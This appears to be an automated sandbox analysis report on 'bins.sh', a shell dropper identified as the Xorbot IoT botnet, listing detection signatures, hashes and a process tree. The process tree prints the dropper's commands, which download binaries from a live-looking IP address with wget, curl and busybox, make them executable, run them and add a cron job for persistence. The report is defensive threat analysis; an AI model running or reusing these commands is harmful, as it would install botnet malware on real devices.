Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/09/2025, 15:50

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250911-taaetsfq3t
  • SHA256 6dc9ea1dee42b0593b713647fd8a5d4faef4d4773887b00cd2ac435dc46ae2ee
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
antivmbotnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1032) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 34 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:640
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:645
      • /usr/bin/wget
        wget http://178.16.54.252/bins/n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
        2⤵
        • Writes file to tmp directory
        PID:648
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:670
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
        2⤵
        • Writes file to tmp directory
        PID:673
      • /bin/chmod
        chmod 777 n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
        2⤵
        • File and Directory Permissions Modification
        PID:686
      • /tmp/n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
        ./n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
        2⤵
          PID:688
        • /bin/rm
          rm n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
          2⤵
            PID:691
          • /usr/bin/wget
            wget http://178.16.54.252/bins/pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
            2⤵
            • Writes file to tmp directory
            PID:692
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:722
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
            2⤵
            • Writes file to tmp directory
            PID:723
          • /bin/chmod
            chmod 777 pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
            ./pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:736
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:739
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:740
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:743
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:744
              • /bin/rm
                rm pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
                2⤵
                  PID:762
                • /usr/bin/wget
                  wget http://178.16.54.252/bins/x1fgxvnlILE8TXEOXOIib8C1gvKqnhLzt3
                  2⤵
                  • Writes file to tmp directory
                  PID:765

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
                    • Path /tmp/n9U0Eo0QpNJLHwYPcc7E8tGgQsRQiguDnj
                    • Size 102KB
                    • SHA256 cb4a3665ebd12bdb094b9fc188793c67ec3008363a49b1dde00d488b54df984b
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
                    • Path /tmp/pGFuyjKYGjUztr3dVNrJvy0OycurGOF052
                    • Size 127KB
                    • SHA256 dfd830368724f6abcc542bc8b85e3d5fa2aedf8282d3805d0d6d53f45c7e0937
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    x1fgxvnlILE8TXEOXOIib8C1gvKqnhLzt3
                    • Path /tmp/x1fgxvnlILE8TXEOXOIib8C1gvKqnhLzt3
                    • Size 12KB
                    • SHA256 8b3518f87d50158ca49a2e23c4c9f262a22b8bd21f2cad3458340936d773c590
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.CEe8Ap
                    • Path /var/spool/cron/crontabs/tmp.CEe8Ap
                    • Size 210B
                    • SHA256 3b7df8cf27d235f546a200e77c67dfbe669daa05e0c5bc4c0fb2d5d3a620919e
                    • MD5 SHA1 SHA512
                    Submit Download